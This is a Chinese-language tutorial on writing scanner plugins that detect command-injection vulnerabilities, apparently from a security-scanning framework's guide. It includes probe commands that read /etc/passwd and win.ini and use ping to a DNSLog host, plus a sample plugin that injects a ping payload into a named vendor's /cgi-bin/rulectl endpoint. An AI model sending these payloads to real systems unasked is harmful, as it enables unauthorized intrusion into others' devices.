命令执行类
命令执行类,根据其输出情况可分两种,有回显和无回显(命令盲注)。根据目标运行的操作系统类型,大致分为 Windows 类和 Unix 类。在编写插件的时候,主要是根据有无回显来分类,并兼容两类操作系统。
有回显类
编写该类插件检测思路为,直接在页面中输出某条有代表性的命令的执行结果。原则上不能对目标系统造成任何破坏。
例如:
- 输出当前的环境变量(Linux:
echo $PATH
, Windows:echo %path%
) - 输出某个固定文件的内容(Linux:
/etc/passwd
, Windows:C:\Windows\win.ini
) - 其它
- 输出当前的环境变量(Linux:
无回显类
无回显类命令执行后返回结果不得而知,大大增加了检测难度,检测主要有两种方式:
延时检测
与时间盲注类似,利用返回包时间来判断。Linux 下通过 `sleep 5` 来实现延时5秒;
Windows 可以通过 `ping localhost -n 5` 来实现延时5秒。
**该方法对异步命令执行类漏洞无效**。
利用 DNSLog 检测(推荐)
DNSLog 用于监测 DNS 和 HTTP 访问记录,可通过命令执行,让目标主机主动
请求 DNSLog API 地址,有相应的解析记录,则可判定为存在命令执行漏洞。
通常使用 ping 命令。Linux 下还可使用 `wget`, `curl` 等有网络请求功能的命令。
**该方法对无任何外网访问权限的目标无效**。
范例插件
西默科技 /cgi-bin/rulectl 命令执行漏洞检测
感谢插件作者: 上善若水
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Refer http://www.wooyun.org/bugs/wooyun-2016-0179411
# __Author__ = 上善若水
# _PlugName_ = ximo_rce Plugin
# _FileName_ = ximo_rce.py
def assign(service, arg):
if service == fingerprint.ximo:
return True, arg
def audit(arg):
# 生成一个 hash 前缀
hashstr = dnslog.create_hashstr()
# 根据开发者的 udomain 生成需要请求的域名地址
target = dnslog.create_dns_url(hashstr)
# 构造命令执行的 Payload
# 本漏洞中使用 ping 命令(注意限制ping次数)
url = arg + "/cgi-bin/rulectl?woo||ping%20-c%203%20{target}".format(
target=target)
# 发送 Payload 到目标
code, head, res, rurl, log = hackhttp.http(url)
# 检查是否有 DNS 解析
if dnslog.check_dns_log(hashstr):
security_hole(url, log=log)
if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.ximo, "http://www.example.com/")[1])
使用 DNSLog 检测步骤
- 生成一个随机的 hash 前缀
- 根据开发者的 udomain 生成需要请求的域名地址
- 构造命令执行的 Payload
- 利用命令执行漏洞执行 Payload
- 检查是否有 DNS 解析
命令执行常用命令
查看文件内容
Linux:
cat /etc/passwd
Windows:
type c:\windows\win.ini
使用 ping 命令
Linux:
ping -c 3 xxxx.test.dnslog.link
Windows:
ping xxx.text.dnslog.link -n 3